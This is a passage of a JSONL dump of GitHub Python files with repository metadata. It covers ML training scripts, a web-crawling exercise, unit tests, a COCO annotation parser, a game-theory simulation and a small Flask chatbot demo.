predict_table.to_excel(pdt_writter, sheet_name=f'fold_{fold}')\n logger.info(f\"Best_params: \\n{best_params}\")\n logger.info(f\"Trying to dump models to {output_root}\")\n controller.save(output_root.joinpath(f'fold_{fold}_models.ctl'))\n\n # Save results\n #-------------\n pd.concat(selected_features_list, axis=1).to_excel(excel_writter, sheet_name=\"Selected_Features\")\n pd.concat(features_rate_table, axis=1).to_excel(excel_writter, sheet_name=\"Feat_Summary\")\n pd.concat(performance, axis=1).to_excel(excel_writter, sheet_name=\"Performance\")\n excel_writter.close()\n pdt_writter.close()\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"alabamagan/mri_radiomics_toolkit","sub_path":"experiments/02_pipeline_performance.py","file_name":"02_pipeline_performance.py","file_ext":"py","file_size_in_byte":5958,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"42182778012","text":"#This is just a test\n#!/bin/python\nfrom jinja2 import FileSystemLoader, Environment\n\nimport json\nimport pprint as pp\n\n\n# Dictionary Used\n\nnodes = {}\n\n# Function Used\n\ndef lookup_category(x):\n return {\n 'network':'tensorflow.layers',\n 'optimizer':'tensorflow.train',\n 'loss':'tensorflow.losses',\n 'storage':'aws.ec2'\n }[x]\n\ndef lookup_type(x):\n types={\n 'maxpooling2d':'max_pooling2d',\n 'adam':'AdamOptimizer'\n }\n if x in types:\n return types[x]\n else:\n return x\n\ndef parse_params(node, src):\n keys = node['_def']['defaults'].keys()\n input = nodes[src]['name']\n parameter_list = input + ','\n if 'activation' in keys:\n node['activation']='tensorflow.nn.'+node['activation']\n if any(keys):\n for item in keys:\n if node[item] is not \"\":\n parameter_list = parameter_list + ' ' + item + ' = ' + node[item] + ','\n\n return parameter_list[:-1]\n\n\n\ndef link_to_nodes(link):\n\n source_node = nodes[link['source']['id']]\n target_node = nodes[link['target']['id']]\n result = target_node['name'] + ' = ' + lookup_category(link['target']['category']) + '.' + lookup_type(link['target']['type']) + '(' + parse_params(link['target'],link['source']['id']) + ')'\n nodes[link['target']['id']]['op'] = result\n nodes[link['target']['id']]['complete'] = True\n nodes[link['source']['id']]['target'] = link['target']['id']\n\n\n# pp.pprint(nodes)\n\ndef parse(start):\n try:\n return nodes[start]['op'] + '\\n' + parse(nodes[start]['target'])\n except Exception as e:\n return ''\n\n\n\nif __name__=='__main__':\n # pp.pprint(data)\n with open('network.json','r') as fp:\n data = json.load(fp)\n\n\n\n i = 0\n for node in data['nodes']:\n name = node['type'] + node['category'] + str(i)\n nodes[node['id']]={'name':name,\n 'complete':False,\n 'op':'',\n 'target':''\n }\n i = i+1\n\n # pp.pprint(nodes)\n for item in data['links']:\n link_to_nodes(item)\n\n\n\n for item in data['links']:\n if not(nodes[item['source']['id']]['complete']):\n op = nodes[item['source']['id']]['name'] + ' = amazon.ec2.fetch_data()'\n op = op + '\\n' + parse(item['source']['id'])\n break\n\n\n\n\n # templateEnvironment = Environment(loader='file')\n # template = templateEnvironment.get_template('python.py')\n # output = template.render({'data': op})\n\n with open('generated.py', 'w') as fp:\n fp.write(op)\n print(op)\n\n# pp.pprint(result)\n","repo_name":"Lipin-Pius/jinja-example","sub_path":"python/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21844285277","text":"#!/usr/bin/env python\n__copyright__ = \"\"\"\nCopyright (c) 2020 Tananaev Denis\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies\nof the Software, and to permit persons to whom the Software is furnished to do so,\nsubject to the following conditions: The above copyright notice and this permission\nnotice shall be included in all copies or substantial portions of the Software.\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,\nINCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR\nPURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE\nFOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR\nOTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\nDEALINGS IN THE SOFTWARE.\n\"\"\"\nimport argparse\nimport os\nimport tensorflow as tf\nfrom detection_3d.parameters import Parameters\nfrom detection_3d.detection_dataset import DetectionDataset\nfrom detection_3d.tools.detection_helpers import get_voxels_grid\nfrom detection_3d.model import YoloV3_Lidar\nfrom detection_3d.tools.training_helpers import (\n setup_gpu,\n initialize_model,\n load_model,\n get_optimizer,\n)\nfrom detection_3d.losses import detection_loss\nfrom detection_3d.tools.summary_helpers import train_summaries, epoch_metrics_summaries\nfrom detection_3d.metrics import EpochMetrics\nfrom tqdm import tqdm\n\n\n@tf.function\ndef train_step(param_settings, train_samples, model, optimizer, epoch_metrics=None):\n\n with tf.GradientTape() as tape:\n top_view, box_grid, _ = train_samples\n predictions = model(top_view, training=True)\n (\n obj_loss,\n label_loss,\n z_loss,\n delta_xy_loss,\n width_loss,\n height_loss,\n delta_orient_loss,\n ) = detection_loss(box_grid, predictions)\n losses = [\n obj_loss,\n label_loss,\n z_loss,\n delta_xy_loss,\n width_loss,\n height_loss,\n delta_orient_loss,\n ]\n total_detection_loss = tf.reduce_sum(losses)\n # Get L2 losses for weight decay\n total_loss = total_detection_loss + tf.add_n(model.losses)\n\n gradients = tape.gradient(total_loss, model.trainable_variables)\n optimizer.apply_gradients(zip(gradients, model.trainable_variables))\n if epoch_metrics is not None:\n epoch_metrics.train_loss(total_detection_loss)\n\n train_outputs = {\n \"total_loss\": total_loss,\n \"losses\": losses,\n \"box_grid\": box_grid,\n \"predictions\": predictions,\n \"top_view\": top_view,\n }\n\n return train_outputs\n\n\n@tf.function\ndef val_step(samples, model, epoch_metrics=None):\n\n top_view, box_grid, _ = samples\n predictions = model(top_view, training=False)\n (\n obj_loss,\n label_loss,\n z_loss,\n delta_xy_loss,\n width_loss,\n height_loss,\n delta_orient_loss,\n ) = detection_loss(box_grid, predictions)\n losses = [\n obj_loss,\n label_loss,\n z_loss,\n delta_xy_loss,\n width_loss,\n height_loss,\n delta_orient_loss,\n ]\n total_detection_loss = tf.reduce_sum(losses)\n\n if epoch_metrics is not None:\n epoch_metrics.val_loss(total_detection_loss)\n\n\ndef train(resume=False):\n setup_gpu()\n # General parameters\n param = Parameters()\n\n # Init label colors and label names\n tf.random.set_seed(param.settings[\"seed\"])\n\n train_dataset = DetectionDataset(\n param.settings,\n \"train.datatxt\",\n augmentation=param.settings[\"augmentation\"],\n shuffle=True,\n )\n\n param.settings[\"train_size\"] = train_dataset.num_samples\n val_dataset = DetectionDataset(param.settings, \"val.datatxt\", shuffle=False)\n param.settings[\"val_size\"] = val_dataset.num_samples\n\n model = YoloV3_Lidar(weight_decay=param.settings[\"weight_decay\"])\n voxels_grid = get_voxels_grid(\n param.settings[\"voxel_size\"], param.settings[\"grid_meters\"]\n )\n input_shape = [1, voxels_grid[0], voxels_grid[1], 2]\n initialize_model(model, input_shape)\n model.summary()\n start_epoch, model = load_model(param.settings[\"checkpoints_dir\"], model, resume)\n model_path = os.path.join(param.settings[\"checkpoints_dir\"], \"{model}-{epoch:04d}\")\n\n learning_rate, optimizer = get_optimizer(\n param.settings[\"optimizer\"],\n param.settings[\"scheduler\"],\n train_dataset.num_it_per_epoch,\n )\n epoch_metrics = EpochMetrics()\n\n for epoch in range(start_epoch, param.settings[\"max_epochs\"]):\n save_dir = model_path.format(model=model.name, epoch=epoch)\n epoch_metrics.reset()\n for train_samples in tqdm(\n train_dataset.dataset,\n desc=f\"Epoch {epoch}\",\n total=train_dataset.num_it_per_epoch,\n ):\n train_outputs = train_step(\n param.settings, train_samples, model, optimizer, epoch_metrics\n )\n train_summaries(train_outputs, optimizer, param.settings, learning_rate)\n for val_samples in tqdm(\n val_dataset.dataset, desc=\"Validation\", total=val_dataset.num_it_per_epoch\n ):\n val_step(val_samples, model, epoch_metrics)\n epoch_metrics_summaries(param.settings, epoch_metrics, epoch)\n epoch_metrics.print_metrics()\n # Save all\n param.save_to_json(save_dir)\n epoch_metrics.save_to_json(save_dir)\n model.save(save_dir)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Train CNN.\")\n parser.add_argument(\n \"--resume\",\n type=lambda x: x,\n nargs=\"?\",\n const=True,\n default=False,\n help=\"Activate nice mode.\",\n )\n args = parser.parse_args()\n train(resume=args.resume)\n","repo_name":"Dtananaev/lidar_dynamic_objects_detection","sub_path":"detection_3d/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":6149,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"21"} +{"seq_id":"71342063093","text":"def main():\n from urllib.request import urlopen, urlparse\n from bs4 import BeautifulSoup\n import datetime\n import random\n import re\n from urllib.error import HTTPError\n\n\n random.seed(datetime.datetime.now())\n def getLink(url):\n html = urlopen('http://en.widipedia.org{}'.format(url))\n bs = BeautifulSoup(html, 'html.parser')\n return bs.find('div', {'id': 'bodyContent'}).find_all('a', href=re.compile('^(/wiki/)((?!:).)*$'))\n\n try:\n links = getLink('/wiki/Kevin_Bacon')\n except HTTPError:\n pass\n else:\n while len(links) > 0:\n newArticle = links[random.randint(0, len(links)-1)].attrs['href']\n print(newArticle)\n links = getLink(newArticle)\n\n\n pages = set() # to support unique elements\n def getLink(url):\n global pages\n html = urlopen('http://en.wikipedia.org{}'.format(url))\n bs = BeautifulSoup(html, 'html.parser')\n try:\n print(bs.h1.get_text())\n print(bs.find(id='mw-content-text').find_all('p')[0])\n print(bs.find(id='ca-edit').find('span').find('a').attrs['href'])\n except AttributeError:\n print('This page is missing something! Continuing.')\n for link in bs.find_all('a', href=re.compile('^(/wiki/)')):\n if 'href' in link.attrs:\n if link.attrs['href'] not in pages: # make sure it's unique\n newPage = link.attrs['href']\n print('_' * 20)\n print(newPage)\n pages.add(newPage)\n getLink(newPage) # store and call another round\n try:\n getLink('')\n except HTTPError:\n pass\n\n class getLinks:\n def __init__(self, bs, url):\n self.bs = bs\n self.url = url\n def internal(self, bs, url): # links start with a \"/\"\n includeUrl = '{}://{}'.format(urlparse(url).scheme, urlparse(url).netloc)\n internalLinks = []\n for link in bs.find_all('a', href=re.compile('^(/|.*'+includeUrl+')')):\n if link.attrs['href'] is not None:\n if link.attrs['href'] not in internalLinks:\n if link.attrs['href'].startswidth('/'):\n internalLinks.append(includeUrl+link.attrs['href'])\n else:\n internalLinks.append(link.attrs['href'])\n return includeUrl\n def external(self, bs, url): # links start with 'http', without current URL\n externalLinks = []\n for link in bs.find_all('a', href=re.compile('^(http|www)((?!'+url+').)*$')):\n if link.attrs['href'] is not None:\n if link.attrs['href'] not in externalLinks:\n externalLinks.append(link.attrs['href'])\n return externalLinks\n def randomExternal(self, page):\n html = urlopen(page)\n bs = BeautifulSoup(html, 'html.parser')\n externalLinks = self.external(bs, urlparse(page).netloc)\n if len(externalLinks) == 0:\n print('No external links, looking around the site for one')\n domain = '{}://{}'.format(urlparse(page).scheme, urlparse(page).netloc)\n internalLinks = self.internal(bs, domain)\n return self.randomExternal(internalLinks[random.randint(0, len(internalLinks) - 1)])\n else:\n return externalLinks[random.randint(0, len(externalLinks) - 1)]\n def onlyExternal(self, site):\n externalLink = self.randomExternal(site)\n print('Random external link is {}'.format(externalLink))\n self.onlyExternal(externalLink)\n allExtLinks = set()\n allIntLinks = set()\n def allExternal(self, site):\n html = urlopen(site)\n domain = '{}://{}'.format(urlparse(site).scheme, urlparse(site).netloc)\n bs = BeautifulSoup(html, 'html.parser')\n internalLinks = self.internal(bs, domain)\n externalLinks = self.external(bs, domain)\n\n for link in externalLinks:\n if link not in self.allExtLinks:\n self.allExtLinks.add(link)\n print(link)\n for link in internalLinks:\n if link not in self.allExtLinks:\n self.allIntLinks.add(link)\n self.allExternal(link)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"dy0703/pycharm","sub_path":"Data Analysis/Scrapy/Chap_3.py","file_name":"Chap_3.py","file_ext":"py","file_size_in_byte":4512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14854651055","text":"from engine.world import World\nimport pygame\nfrom engine.constants import STATS_WIDTH\nimport cProfile\n\n\nprofiler = cProfile.Profile()\nprofiler.enable()\n\nw = World(map_name='map_duel')\nw.load()\nw.spawns = (250, 470, 200, 440)\n\nDISPLAY = (w.width, w.height)\npygame.init()\npygame.display.set_caption(w.name)\nmyfont = pygame.font.SysFont(\"timesnewroman\", 15)\nflags = pygame.DOUBLEBUF | pygame.HWSURFACE\nscreen = pygame.display.set_mode(DISPLAY, flags)\n\n# This has to be done somewhere inside world loading\n# It`s applying keyboard mode to the only agent\n\nw.agents[0].name = 'SSbot'\n\nw.agents[1].name = 'Random'\n\nw.agents[0].load('saved/SSbot4668.h5')\nw.agents[0].to_learn = True\nw.agents[0].epsilon = 0.3\nw.agents[0].delta = 1-5e-6\nw.agents[0].skip = 5\n\n\nwhile 1:\n if 1:\n w.tick()\n w.draw(screen)\n pygame.display.update()\n \n","repo_name":"SSitSS/SSbot_shooter","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"40412682864","text":"def resolve():\n text = input()\n if text.islower() or text.isupper():\n return \"No\"\n count = len(text)\n nums = set()\n for s in text:\n nums.add(s)\n \n if count == len(nums):\n return \"Yes\"\n else:\n return \"No\"\n\nprint(resolve())\n\n","repo_name":"paperlefthand/atcoder","sub_path":"ABC_B/249b.py","file_name":"249b.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14950893963","text":"# Python scripts for scheduling training scenarios\nimport gfootball.env as football_env\nfrom collections import deque \nimport random \n\nSCENARIOS = {\n 'basic':[\n 'academy_empty_goal_close',\n 'academy_empty_goal',\n 'academy_run_to_score',\n 'academy_run_to_score_with_keeper',\n 'academy_pass_and_shoot_with_keeper',\n ],\n 'easy':[\n 'academy_counterattack_easy',\n 'academy_run_pass_and_shoot_with_keeper',\n 'academy_3_vs_1_with_keeper',\n 'academy_single_goal_versus_lazy',\n 'academy_corner'\n ],\n 'medium':[\n '11_vs_11_easy_stochastic',\n 'academy_counterattack_hard'\n ],\n 'hard':[\n '11_vs_11_stochastic',\n '11_vs_11_hard_stochastic'\n ],\n 'full':['11_vs_11_kaggle']\n}\n\nclass TrainingPlan:\n def __init__(self, \n basic_rounds, \n easy_rounds,\n medium_rounds,\n hard_rounds,\n full_match_rounds,\n representation='extracted',\n scenario_map=SCENARIOS):\n \n self.rounds = {\n 'basic':basic_rounds,\n 'easy':easy_rounds,\n 'medium':medium_rounds,\n 'hard':hard_rounds,\n 'full':full_match_rounds\n }\n self.scenario_map = scenario_map\n self.representation=representation\n self.schedule_training()\n self.current_scenario_name = self.training_plan[0]\n \n def schedule_training(self):\n self.training_plan = deque()\n for difficulty in self.rounds.keys():\n for _ in range(self.rounds[difficulty]):\n scenario = random.choice(self.scenario_map[difficulty])\n self.training_plan.append(scenario)\n \n def get_next(self):\n scenario = self.training_plan.popleft()\n self.current_scenario_name = scenario\n env = football_env.create_environment(env_name=scenario, \n stacked=False, \n logdir='/tmp/football', \n representation=self.representation,\n write_goal_dumps=False, \n write_full_episode_dumps=False, \n render=False)\n return env","repo_name":"mnaylor5/rl-football","sub_path":"src/training_ground.py","file_name":"training_ground.py","file_ext":"py","file_size_in_byte":2398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29761401900","text":"import mock\nfrom testify import TestCase, run, setup, assert_equal\nfrom testify import setup_teardown\nfrom tron.commands import display\n\nfrom tron.commands.display import DisplayServices, DisplayJobRuns\nfrom tron.commands.display import DisplayActionRuns, DisplayJobs\nfrom tron.core import actionrun, service\n\n\nclass DisplayServicesTestCase(TestCase):\n\n @setup\n def setup_data(self):\n self.data = [\n dict(name=\"My Service\", state=\"stopped\", live_count=\"4\", enabled=True),\n dict(name=\"Another Service\", state=\"running\", live_count=\"2\", enabled=False),\n dict(name=\"Yet another\", state=\"running\", live_count=\"1\", enabled=True)\n ]\n self.display = DisplayServices()\n\n def test_format(self):\n out = self.display.format(self.data)\n lines = out.split('\\n')\n assert_equal(len(lines), 6)\n assert lines[3].startswith('Another')\n\n def test_format_no_data(self):\n out = self.display.format([])\n lines = out.split(\"\\n\")\n assert_equal(len(lines), 4)\n assert_equal(lines[2], 'No Services')\n\n\nclass DisplayJobRunsTestCase(TestCase):\n\n @setup\n def setup_data(self):\n self.data = [\n dict(\n id='something.23', state='FAIL', node=mock.MagicMock(),\n run_num=23,\n run_time='2012-01-20 23:11:23',\n start_time='2012-01-20 23:11:23',\n end_time='2012-02-21 23:10:10',\n duration='2 days',\n manual=False,\n ),\n dict(\n id='something.55', state='QUE', node=mock.MagicMock(),\n run_num=55,\n run_time='2012-01-20 23:11:23',\n start_time='2012-01-20 23:11:23',\n end_time='',\n duration='',\n manual=False,\n )\n ]\n\n self.action_run = dict(\n id='something.23.other',\n name='other',\n state='FAIL',\n node=mock.MagicMock(),\n command='echo 123',\n raw_command='echo 123',\n run_time='2012-01-20 23:11:23',\n start_time='2012-01-20 23:11:23',\n end_time='2012-02-21 23:10:10',\n duration='2 days',\n stdout=[],\n stderr=[]\n )\n\n\n def test_format(self):\n out = DisplayJobRuns().format(self.data)\n lines = out.split('\\n')\n assert_equal(len(lines), 7)\n\n\nclass DisplayJobsTestCase(TestCase):\n\n @setup\n def setup_data(self):\n self.data = [\n dict(name='important_things', status='running',\n scheduler=mock.MagicMock(), last_success='unknown'),\n dict(name='other_thing', status='success',\n scheduler=mock.MagicMock(), last_success='2012-01-23 10:23:23',\n action_names=['other', 'first'],\n node_pool=['blam']),\n ]\n self.run_data = [\n dict(\n id='something.23', state='FAIL', node='machine4',\n run_time='2012-01-20 23:11:23',\n start_time='2012-01-20 23:11:23',\n end_time='2012-02-21 23:10:10',\n duration='2 days',\n runs=[dict(\n id='something.23.other',\n name='other',\n state='FAIL',\n node=mock.MagicMock(),\n command='echo 123',\n raw_command='echo 123',\n run_time='2012-01-20 23:11:23',\n start_time='2012-01-20 23:11:23',\n end_time='2012-02-21 23:10:10',\n duration='2 days',\n stdout=[],\n stderr=[]\n )]\n ),\n dict(\n id='something.55', state='QUE', node='machine3',\n run_time='2012-01-20 23:11:23',\n start_time='2012-01-20 23:11:23',\n end_time='',\n duration='',\n runs=[]\n )\n ]\n\n def do_format(self):\n out = DisplayJobs().format(self.data)\n lines = out.split('\\n')\n return lines\n\n def test_format(self):\n lines = self.do_format()\n assert_equal(len(lines), 5)\n\n\nclass DisplayActionsTestCase(TestCase):\n\n @setup\n def setup_data(self):\n self.data = {\n 'id': 'something.23',\n 'state': 'UNKWN',\n 'node': {'hostname': 'something', 'username': 'a'},\n 'run_time': 'sometime',\n 'start_time': 'sometime',\n 'end_time': 'sometime',\n 'manual': False,\n 'runs': [\n dict(\n id='something.23.run_other_thing',\n state='UNKWN',\n start_time='2012-01-23 10:10:10.123456',\n end_time='',\n duration='',\n run_time='sometime',\n ),\n dict(\n id='something.1.run_foo',\n state='FAIL',\n start_time='2012-01-23 10:10:10.123456',\n end_time='2012-01-23 10:40:10.123456',\n duration='1234.123456',\n run_time='sometime',\n ),\n dict(\n id='something.23.run_other_thing',\n state='QUE',\n start_time='2012-01-23 10:10:10.123456',\n end_time='',\n duration='',\n run_time='sometime',\n ),\n ]\n }\n self.details = {\n 'id': 'something.1.foo',\n 'state': 'FAIL',\n 'node': 'localhost',\n 'stdout': ['Blah', 'blah', 'blah'],\n 'stderr': ['Crash', 'and', 'burn'],\n 'command': '/bin/bash ./runme.sh now',\n 'raw_command': 'bash runme.sh now',\n 'requirements': ['.run_first_job'],\n }\n\n def format_lines(self):\n out = DisplayActionRuns().format(self.data)\n return out.split('\\n')\n\n def test_format(self):\n lines = self.format_lines()\n assert_equal(len(lines), 13)\n\n\nclass AddColorForStateTestCase(TestCase):\n\n @setup_teardown\n def enable_color(self):\n with display.Color.enable():\n yield\n\n def test_add_red(self):\n text = display.add_color_for_state(actionrun.ActionRun.STATE_FAILED.name)\n assert text.startswith(display.Color.colors['red']), text\n\n def test_add_green(self):\n text = display.add_color_for_state(actionrun.ActionRun.STATE_RUNNING.name)\n assert text.startswith(display.Color.colors['green']), text\n\n def test_add_blue(self):\n text = display.add_color_for_state(service.ServiceState.DISABLED)\n assert text.startswith(display.Color.colors['blue']), text\n\n\nclass DisplayNodeTestCase(TestCase):\n\n node_source = {\n 'name': 'name',\n 'hostname': 'hostname',\n 'username': 'username'}\n\n def test_display_node(self):\n result = display.display_node(self.node_source)\n assert_equal(result, 'username@hostname')\n\n def test_display_node_pool(self):\n source = {'name': 'name', 'nodes': [self.node_source]}\n result = display.display_node_pool(source)\n assert_equal(result, 'name (1 node(s))')\n\nclass DisplaySchedulerTestCase(TestCase):\n\n def test_display_scheduler_no_jitter(self):\n source = {'value': '5 minutes', 'type': 'interval', 'jitter': ''}\n result = display.display_scheduler(source)\n assert_equal(result, 'interval 5 minutes')\n\n def test_display_scheduler_with_jitter(self):\n source = {\n 'value': '5 minutes',\n 'type': 'interval',\n 'jitter': ' (+/- 2 min)'}\n result = display.display_scheduler(source)\n assert_equal(result, 'interval 5 minutes%s' % (source['jitter']))\n\n\n\nif __name__ == \"__main__\":\n run()\n","repo_name":"nagyist/Tron","sub_path":"tests/commands/display_test.py","file_name":"display_test.py","file_ext":"py","file_size_in_byte":8065,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22694158495","text":"import json\n\n\nclass ParseCoco(object):\n def __init__(self, path_to_package_images=None, path_to_json=None, type_of_labels=None):\n if type_of_labels == 'COCO':\n self.path_to_images_package = path_to_package_images\n self.path_to_json = path_to_json\n else:\n raise Exception(\"Incorrect type of labels\")\n\n def load_data(self):\n with open(self.path_to_json, 'r') as file:\n data = file.read()\n obj = json.loads(data)\n image_annotations = obj['images']\n return obj, image_annotations\n\n def parse_image_filename(self, image_id, image_annotations):\n for obj in image_annotations:\n if obj['id'] == image_id:\n return obj['file_name']\n\n def adapt_coorinates_to_imgaug(self, polygon):\n tuple_x_y = []\n for i in range(0, len(polygon), 2):\n x, y = (polygon[i:i + 2])\n tuple_x_y.append((int(x), int(y)))\n return tuple_x_y\n\n def main(self):\n obj, image_annotations = self.load_data()\n data = dict()\n for annotation in obj['annotations']:\n coordinates = annotation['segmentation']\n image_id = annotation['image_id']\n filename = self.parse_image_filename(image_id, image_annotations)\n tuple_x_y = self.adapt_coorinates_to_imgaug(coordinates[0])\n data.setdefault(filename, [])\n data[filename].append(tuple_x_y)\n return data\n\n # def __iter__(self):\n\n def __call__(self):\n return self.main()\n\n\nif __name__ == \"__main__\":\n parse_class = ParseCoco(path_to_package_images=r'C:\\Users\\apelv\\Desktop\\utils\\labelme2coco\\clear_leafs_images',\n path_to_json=r\"C:\\Users\\apelv\\Desktop\\utils\\labelme2coco\\trainval.json\",\n type_of_labels='COCO')()\n\n print(parse_class)\n","repo_name":"EvgeniiMoskovtsev/COCO_utils","sub_path":"parsecoco.py","file_name":"parsecoco.py","file_ext":"py","file_size_in_byte":1876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15935982641","text":"\nimport os\nfrom absl.testing import parameterized\nfrom tensorflow.python.data.experimental.ops import iterator_ops as contrib_iterator_ops\nfrom tensorflow.python.data.ops import dataset_ops\nfrom tensorflow.python.framework import combinations\nfrom tensorflow.python.framework import errors\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.platform import test\nfrom tensorflow.python.training import saver as saver_lib\nclass MakeSaveableFromIteratorTest(test.TestCase, parameterized.TestCase):\n def _build_input_pipeline(self, name, num_outputs):\n with ops.name_scope(name):\n ds = dataset_ops.Dataset.range(num_outputs).shuffle(\n 10, reshuffle_each_iteration=False).prefetch(10)\n iterator = ds.make_initializable_iterator()\n saveable = contrib_iterator_ops.make_saveable_from_iterator(iterator)\n ops.add_to_collection(ops.GraphKeys.SAVEABLE_OBJECTS, saveable)\n return iterator.initializer, iterator.get_next()\n def _build_graph(self, num_pipelines, num_outputs):\n init_ops = []\n get_next_ops = []\n for i in range(num_pipelines):\n name = \"input_pipeline_%d\" % i\n init_op, get_next_op = self._build_input_pipeline(name, num_outputs)\n init_ops.append(init_op)\n get_next_ops.append(get_next_op)\n saver = saver_lib.Saver()\n return init_ops, get_next_ops, saver\n def _ckpt_path(self):\n return os.path.join(self.get_temp_dir(), \"iterator\")\n @combinations.generate(combinations.combine(tf_api_version=1, mode=[\"graph\"]))\n def testConcurrentSaves(self):\n num_pipelines = 10\n num_outputs = 10\n break_point = 10\n all_outputs = [[] for _ in range(num_pipelines)]\n with ops.Graph().as_default() as g:\n init_ops, get_next_ops, saver = self._build_graph(num_pipelines,\n num_outputs)\n with self.session(graph=g) as sess:\n self.evaluate(init_ops)\n for _ in range(break_point):\n output = self.evaluate(get_next_ops)\n for i in range(num_pipelines):\n all_outputs[i].append(output[i])\n saver.save(sess, self._ckpt_path())\n with ops.Graph().as_default() as g:\n init_ops, get_next_ops, saver = self._build_graph(num_pipelines,\n num_outputs)\n with self.session(graph=g) as sess:\n self.evaluate(init_ops)\n saver.restore(sess, self._ckpt_path())\n for _ in range(num_outputs - break_point):\n output = self.evaluate(get_next_ops)\n for i in range(num_pipelines):\n all_outputs[i].append(output[i])\n for output in all_outputs:\n self.assertSequenceEqual(sorted(output), range(num_outputs))\n @combinations.generate(combinations.combine(tf_api_version=1, mode=[\"graph\"]))\n def testUninitializedIterator(self):\n num_pipelines = 1\n num_outputs = 1\n with ops.Graph().as_default() as g:\n _, _, saver = self._build_graph(num_pipelines, num_outputs)\n with self.session(graph=g) as sess:\n with self.assertRaises(errors.FailedPreconditionError):\n saver.save(sess, self._ckpt_path())\nif __name__ == \"__main__\":\n test.main()\n","repo_name":"Mockingbird01001/NLG-code-generator-LSTM","sub_path":"work/data/data_model/batch_2/make_saveable_from_iterator_test.py.transformed.py","file_name":"make_saveable_from_iterator_test.py.transformed.py","file_ext":"py","file_size_in_byte":3172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38019674910","text":"from game import Game\nfrom player import Player\n\nif __name__ == '__main__':\n # \"\"\"\n # The argument of the 'Player' object is its strategy, according to:\n #\n # 0: always defect\n # 1: always coorporate\n # 2: random\n # 3: tit for tat\n # 4: tit for two tats\n #\n # The values defined below are used to initialise the payoff values throughout the game, where:\n #\n # both_coorporate_utility: equal utility for both players when both corporate\n # WW_winner_utility: utility for winner when both players play war\n # WW_looser_utility: utility for looser when both players play war\n # WP_winner_utility: utility for winner when p1 plays war and p2 plays peace\n # WP_looser_utility: utility for looser when p1 plays war and p2 plays peace\n # PW_winner_utility: utility for winner when p1 plays peace and p2 plays war\n # PW_looser_utility: utility for looser when p1 plays peace and p2 plays war\n #\n #\n # The parameter 'rounds' defines the amount of rounds played in the game.\n\n # \"\"\"\n\n # payoff\n both_coorporate_utility = 2\n WW_winner_utility = 9\n WW_looser_utility = -3\n WP_winner_utility = 15\n WP_looser_utility = -2\n PW_winner_utility = 2\n PW_looser_utility = -5\n\n rounds = 15000\n\n game = Game(rounds, both_coorporate_utility, WW_winner_utility, WW_looser_utility, WP_winner_utility,\n WP_looser_utility, PW_winner_utility, PW_looser_utility)\n\n p1 = Player(2)\n p2 = Player(4)\n\n game.simulate_2_players(p1, p2)\n game.plot_average_and_accumulated(p1, p2)","repo_name":"horken7/game-theory","sub_path":"project/simulation/object_oriented/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33478406151","text":"from flask import Flask,render_template,request\nimport pandas as pd\n\napp = Flask(__name__)\n\ndef GetResultFromExcel(user_id,keywords):\n file = 'data.xlsx'\n pd.set_option('display.max_colwidth', -1) # display enitre coloums\n # Load spreadsheet\n xl = pd.ExcelFile(file)\n # Print the sheet names\n df1 = xl.parse('גיליון1')\n return df1[df1[\"Patient\"] == user_id][keywords].to_string()\n\n\n\ndef ResponseBot(dataComing):\n # get keywords\n\n medicalKeyWords = [\"med\",\"MED\",\"תרופות\"]\n keywords = []\n print(dataComing)\n if any(keyword in dataComing for keyword in medicalKeyWords ):\n keywords.append(\"Med\")\n \n\n ## finish keywords\n\n return GetResultFromExcel(user_id=3320,keywords=keywords) \n\n@app.route(\"/\")\ndef login():\n return render_template(\"index.html\",token=\"BASDSADADSADADAAD\")\n\n\n@app.route(\"/chatbot\" ,methods =[\"POST\"])\ndef chatbot():\n dataComing = request.form[\"data\"]\n \n return ResponseBot(dataComing)\n\n\n@app.route(\"/test\",methods=[\"POST\"])\ndef test():\n print(request.form[\"name\"])\n\n return \"Good job\"\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n\n\n\n","repo_name":"liranzxc/GEHA","sub_path":"myapp.py","file_name":"myapp.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73309975414","text":"import json\nimport numpy as np\nimport firebase_admin\nfrom 